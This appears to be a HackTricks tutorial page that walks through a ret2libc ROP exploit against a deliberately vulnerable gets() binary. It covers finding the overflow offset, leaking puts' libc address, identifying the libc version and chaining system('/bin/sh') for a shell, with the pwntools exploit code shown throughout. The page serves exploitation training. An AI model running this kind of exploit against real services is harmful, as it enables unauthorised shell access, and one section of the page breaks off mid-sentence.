hacktricks/exploiting/linux-exploiting-basic-esp/rop-leaking-libc-address.md
2021-03-22 10:43:33 +00:00

289 lines
10 KiB
Markdown

# ROP - Leaking LIBC address
## Quick Resume
1. Find overflow offset
2. Find POP\_RDI, PUTS\_PLT and MAIN\_PLT gadgets
3. Find memory address of puts and guess the libc version \(donwload it\)
4. Given the library just exploit it
## Other tutorials and binaries to practice
This tutorial is going to exploit the code/binary proposed in this tutorial: [https://tasteofsecurity.com/security/ret2libc-unknown-libc/](https://tasteofsecurity.com/security/ret2libc-unknown-libc/)
Another useful tutorial: [https://made0x78.com/bseries-ret2libc/](https://made0x78.com/bseries-ret2libc/)
## Code
Filename: `vuln.c`
```c
#include <stdio.h>
int main() {
char buffer[32];
puts("Simple ROP.\n");
gets(buffer);
return 0;
}
```
```bash
gcc -o vuln vuln.c -fno-stack-protector -no-pie
```
## ROP - PWNtools template
\*\*\*\*[**Find my ROP-PWNtools template here.**](rop-pwn-template.md) I'm going to use the code located there to make the exploit.
Download the exploit and place it in the same directory as the vulnerable binary.
## 1- Finding the offset
The template need an offset before continuing with the exploit. If any is provided it will execute the necessary code to find it \(by default `OFFSET = ""`\):
```bash
####################
#### Find offset ###
####################
OFFSET = ""#"A"*72
if OFFSET == "":
gdb.attach(p.pid, "c") #Attach and continue
payload = cyclic(1000)
print(r.clean())
r.sendline(payload)
#x/wx $rsp -- Search for bytes that crashed the application
#cyclic_find(0x6161616b) # Find the offset of those bytes
return
```
**Execute** `python template.py` a GDB console will be opened with the program being crashed. Inside that **GDB console** execute `x/wx $rsp` to get the **bytes** that were going to overwrite the RIP. Finally get the **offset** using a **python** console:
```python
from pwn import *
cyclic_find(0x6161616b)
```
![](../../.gitbook/assets/image%20%28188%29.png)
After finding the offset \(in this case 40\) change the OFFSET variable inside the template using that value.
`OFFSET = "A" * 40`
## 2- Finding Gadgets
Now we need to find ROP gadgets inside the binary. This ROP gadgets will be useful to call `puts`to find the **libc** being used, and later to **launch the final exploit**.
```python
PUTS_PLT = elf.plt['puts'] #PUTS_PLT = elf.symbols["puts"] # This is also valid to call puts
MAIN_PLT = elf.symbols['main']
POP_RDI = (rop.find_gadget(['pop rdi', 'ret']))[0] #Same as ROPgadget --binary vuln | grep "pop rdi"
RET = (rop.find_gadget(['ret']))[0]
log.info("Main start: " + hex(MAIN_PLT))
log.info("Puts plt: " + hex(PUTS_PLT))
log.info("pop rdi; ret gadget: " + hex(POP_RDI))
```
The `PUTS_PLT` is needed to call the **function puts**.
The `MAIN_PLT` is needed to call the **main function** again after one interaction to **exploit** the overflow **again** \(infinite rounds of exploitation\).It is used at the end of each ROP.
The **POP\_RDI** is needed to **pass** a **parameter** to the called function.
In this step you don't need to execute anything as everything will be found by pwntools during the execution.
## 3- Finding LIBC library
Now is time to find which version of the **libc** library is being used. To do so we are going to **leak** the **address** in memory of the **function** `puts`and then we are going to **search** in which **library version** the puts version is in that address.
```python
def get_addr(func_name):
FUNC_GOT = elf.got[func_name]
log.info(func_name + " GOT @ " + hex(FUNC_GOT))
# Create rop chain
rop1 = OFFSET + p64(POP_RDI) + p64(FUNC_GOT) + p64(PUTS_PLT) + p64(MAIN_PLT)
#Send our rop-chain payload
#p.sendlineafter("dah?", rop1) #Interesting to send in a specific moment
print(p.clean()) # clean socket buffer (read all and print)
p.sendline(rop1)
#Parse leaked address
recieved = p.recvline().strip()
leak = u64(recieved.ljust(8, "\x00"))
log.info("Leaked libc address, "+func_name+": "+ hex(leak))
#If not libc yet, stop here
if libc != "":
libc.address = leak - libc.symbols[func_name] #Save libc base
log.info("libc base @ %s" % hex(libc.address))
return hex(leak)
get_addr("puts") #Search for puts address in memmory to obtains libc base
if libc == "":
print("Find the libc library and continue with the exploit... (https://libc.blukat.me/)")
p.interactive()
```
To do so, the most important line of the executed code is:
```python
rop1 = OFFSET + p64(POP_RDI) + p64(FUNC_GOT) + p64(PUTS_PLT) + p64(MAIN_PLT)
```
This will send some bytes util **overwriting** the **RIP** is possible: `OFFSET`.
Then, it will set the **address** of the gadget `POP_RDI` so the next address \(`FUNC_GOT`\) will be saved in the **RDI** registry. This is because we want to **call puts** **passing** it the **address** of the `PUTS_GOT`as the address in memory of puts function is saved in the address pointing by `PUTS_GOT`.
After that, `PUTS_PLT` will be called \(with `PUTS_GOT` inside the **RDI**\) so puts will **read the content** inside `PUTS_GOT` \(**the address of puts function in memory**\) and will **print it out**.
Finally, **main function is called again** so we can exploit the overflow again.
This way we have **tricked puts function** to **print** out the **address** in **memory** of the function **puts** \(which is inside **libc** library\). Now that we have that address we can **search which libc version is being used**.
![](../../.gitbook/assets/image%20%2881%29.png)
As we are **exploiting** some **local** binary it is **not needed** to figure out which version of **libc** is being used \(just find the library in `/lib/x86_64-linux-gnu/libc.so.6`\).
But, in a remote exploit case I will explain here how can you find it:
### 3.1- Searching for libc version \(1\)
You can search which library is being used in the web page: [https://libc.blukat.me/](https://libc.blukat.me/)
It will also allow you to download the discovered version of **libc**
![](../../.gitbook/assets/image%20%2816%29.png)
### 3.2- Searching for libc version \(2\)
You can also do:
* `$ git clone https://github.com/niklasb/libc-database.git`
* `$ cd libc-database`
* `$ ./get`
This will take some time, be patient.
For this to work we need:
* Libc symbol name: `puts`
* Leaked libc adddress: `0x7ff629878690`
We can figure out which **libc** that is most likely used.
```text
./find puts 0x7ff629878690
ubuntu-xenial-amd64-libc6 (id libc6_2.23-0ubuntu10_amd64)
archive-glibc (id libc6_2.23-0ubuntu11_amd64)
```
We get 2 matches \(you should try the second one if the first one is not working\). Download the first one:
```text
./download libc6_2.23-0ubuntu10_amd64
Getting libc6_2.23-0ubuntu10_amd64
-> Location: http://security.ubuntu.com/ubuntu/pool/main/g/glibc/libc6_2.23-0ubuntu10_amd64.deb
-> Downloading package
-> Extracting package
-> Package saved to libs/libc6_2.23-0ubuntu10_amd64
```
Copy the libc from `libs/libc6_2.23-0ubuntu10_amd64/libc-2.23.so` to our working directory.
### 3.3- Other functions to leak
```python
puts
printf
__libc_start_main
read
gets
```
## 4- Finding based libc address & exploiting
At this point we should know the libc library used. As we are exploiting a local binary I will use just:`/lib/x86_64-linux-gnu/libc.so.6`
So, at the begging of `template.py` change the **libc** variable to: `libc = ELF("/lib/x86_64-linux-gnu/libc.so.6") #Set library path when know it`
Giving the **path** to the **libc library** the rest of the **exploit is going to be automatically calculated**.
Inside the `get_addr`function the **base address of libc** is going to be calculated:
```python
if libc != "":
libc.address = leak - libc.symbols[func_name] #Save libc base
log.info("libc base @ %s" % hex(libc.address))
```
Then, the address to the function `system` and the **address** to the string _"/bin/sh"_ are going to be **calculated** from the **base address** of **libc** and given the **libc library.**
```python
BINSH = next(libc.search("/bin/sh")) - 64 #Verify with find /bin/sh
SYSTEM = libc.sym["system"]
EXIT = libc.sym["exit"]
log.info("bin/sh %s " % hex(BINSH))
log.info("system %s " % hex(SYSTEM))
```
Finally, the /bin/sh execution exploit is going to be prepared sent:
```python
rop2 = OFFSET + p64(POP_RDI) + p64(BINSH) + p64(SYSTEM) + p64(EXIT)
p.clean()
p.sendline(rop2)
##### Interact with the shell #####
p.interactive() #Interact with the conenction
```
Let's explain this final ROP.
The last ROP \(`rop1`\) ended calling again the main function, then we can **exploit again** the **overflow** \(that's why the `OFFSET` is here again\). Then, we want to call `POP_RDI` pointing to the **addres** of _"/bin/sh"_ \(`BINSH`\) and call **system** function \(`SYSTEM`\) because the address of _"/bin/sh"_ will be passed as a parameter.
Finally, the **address of exit function** is **called** so the process **exists nicely** and any alert is generated.
**This way the exploit will execute a** _**/bin/sh**_ **shell.**
![](../../.gitbook/assets/image%20%28255%29.png)
## 4\(2\)- Using ONE\_GADGET
You could also use [ONE\_GADGET ](https://github.com/david942j/one_gadget)to obtain a shell instead of using **system** and **"/bin/sh". ONE\_GADGET** will find inside the libc library some way to obtain a shell using just one **ROP**.
However, normally there are some constrains, the most common ones and easy to avoid are like `[rsp+0x30] == NULL` As you control the values inside the **RSP** you just have to send some more NULL values so the constrain is avoided.
```python
ONE_GADGET = libc.address + 0x4526a
rop2 = base + p64(ONE_GADGET) + "\x00"*100
```
## EXPLOIT FILE
You can find a template to exploit this vulnerability here:
{% page-ref page="rop-pwn-template.md" %}
## Common problems
### MAIN\_PLT = elf.symbols\['main'\] not found
If the "main" symbol does not exist. Then you can just where is the main code:
```python
objdump -d vuln_binary | grep "\.text"
Disassembly of section .text:
0000000000401080 <.text>:
```
and set the address manually:
```python
MAIN_PLT = 0x401080
```
## Puts not found
If the binary is not using Puts you should check if it is using
### `sh: 1: %s%s%s%s%s%s%s%s: not found`
If you find this **error** after creating **all** the exploit: `sh: 1: %s%s%s%s%s%s%s%s: not found`
Try to **subtract 64 bytes to the address of "/bin/sh"**:
```python
BINSH = next(libc.search("/bin/sh")) - 64
```